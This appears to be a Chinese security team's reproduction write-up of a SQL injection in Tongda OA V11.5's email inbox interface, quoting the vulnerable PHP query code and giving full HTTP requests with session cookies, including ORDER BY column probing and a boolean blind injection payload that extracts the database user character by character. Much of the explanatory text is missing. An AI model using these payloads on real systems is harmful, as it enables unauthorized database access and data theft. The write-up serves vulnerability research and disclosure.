漏洞影响版本
漏洞利用先序条件
漏洞代码定位
webrootgeneralemailsentboxget_index_data.php
webrootincutility_email.php
$query = "SELECT EMAIL_ID,TO_ID,READ_FLAG,DELETE_FLAG,EMAIL_BODY.BODY_ID,TO_ID2,COPY_TO_ID,TO_WEBMAIL,SUBJECT,SEND_TIME,ATTACHMENT_ID,ATTACHMENT_NAME,IMPORTANT,SIZE,IS_WEBMAIL,WEBMAIL_FLAG from EMAIL,EMAIL_BODY where EMAIL.BODY_ID=EMAIL_BODY.BODY_ID and FROM_ID='" . $_SESSION["LOGIN_USER_ID"] . "' and SEND_FLAG='1' and DELETE_FLAG!='2' and DELETE_FLAG!='4' " . $WHERE_STR . " group by EMAIL.BODY_ID";
if ($FIELD == "") {
$FIELD = "SEND_TIME";
}
$query .= " order by " . $FIELD;
if ($ASC_DESC == "1") {
$query .= " asc";
}
else {
$query .= " desc";
}
if ($FIELD != "SEND_TIME") {
$query .= ",SEND_TIME desc";
}
$query .= ",EMAIL_BODY.BODY_ID desc";
$query .= " limit $CURNUM,$PAGE_ZISE";
$cursor = exequery(TD::conn(), $query, $QUERY_MASTER);
[个人事务]->[电子邮件]->[收件箱]
GET /general/email/inbox/get_index_data.php?timestamp=&curnum=0&pagelimit=10&total=&boxid=0&orderby=SEND_TIME&asc=0&keyword=&emailtype=ALLMAIL&boxname=inbox&tag= HTTP/1.1
Host: 192.168.188.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.188.128/general/email/inbox/?BOX_ID=0&boxname=inbox0&boxid=0
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=381781b3; PHPSESSID=5a0kcudi7nf5ds5f6d8pm3g0v6
获取表列数PoC
orderby
参数,我们可以尝试在不构造 SQL
语句的前提下,对系统列数进行猜测,orderby=16
时:GET /general/email/inbox/get_index_data.php?timestamp=&curnum=0&pagelimit=10&total=&boxid=0&orderby=16&asc=0&keyword=&emailtype=ALLMAIL&boxname=inbox&tag= HTTP/1.1Host: 192.168.188.128User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestConnection: closeReferer: http://192.168.188.128/general/email/inbox/?BOX_ID=0&boxname=inbox0&boxid=0Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=381781b3; PHPSESSID=5a0kcudi7nf5ds5f6d8pm3g0v6
orderby=17
时:GET /general/email/inbox/get_index_data.php?timestamp=&curnum=0&pagelimit=10&total=&boxid=0&orderby=17&asc=0&keyword=&emailtype=ALLMAIL&boxname=inbox&tag= HTTP/1.1
Host: 192.168.188.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.188.128/general/email/inbox/?BOX_ID=0&boxname=inbox0&boxid=0
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=381781b3; PHPSESSID=5a0kcudi7nf5ds5f6d8pm3g0v6
漏洞PoC
GET /general/email/inbox/get_index_data.php?timestamp=&curnum=0&pagelimit=10&total=&boxid=0&orderby=1+RLIKE+(SELECT+(CASE+WHEN(substr(user(),1,1)=0x72)+THEN+1+ELSE+0x28+END))&asc=0&keyword=&emailtype=ALLMAIL&boxname=inbox&tag= HTTP/1.1
Host: 192.168.188.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.188.128/general/email/inbox/?BOX_ID=0&boxname=inbox0&boxid=0
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=381781b3; PHPSESSID=5a0kcudi7nf5ds5f6d8pm3g0v6
0x72
修改为 0x73
时,数据包如下所示:GET /general/email/inbox/get_index_data.php?timestamp=&curnum=0&pagelimit=10&total=&boxid=0&orderby=1+RLIKE+(SELECT+(CASE+WHEN(substr(user(),1,1)=0x73)+THEN+1+ELSE+0x28+END))&asc=0&keyword=&emailtype=ALLMAIL&boxname=inbox&tag= HTTP/1.1Host: 192.168.188.128User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestConnection: closeReferer: http://192.168.188.128/general/email/inbox/?BOX_ID=0&boxname=inbox0&boxid=0Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=381781b3; PHPSESSID=5a0kcudi7nf5ds5f6d8pm3g0v6
SQL语句讲解
后续跟踪
case when
这类语句的支持)喜欢就请关注我们吧!
本文始发于微信公众号(Pai Sec Team):通达OA V11.5电子邮箱接口SQL注入复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论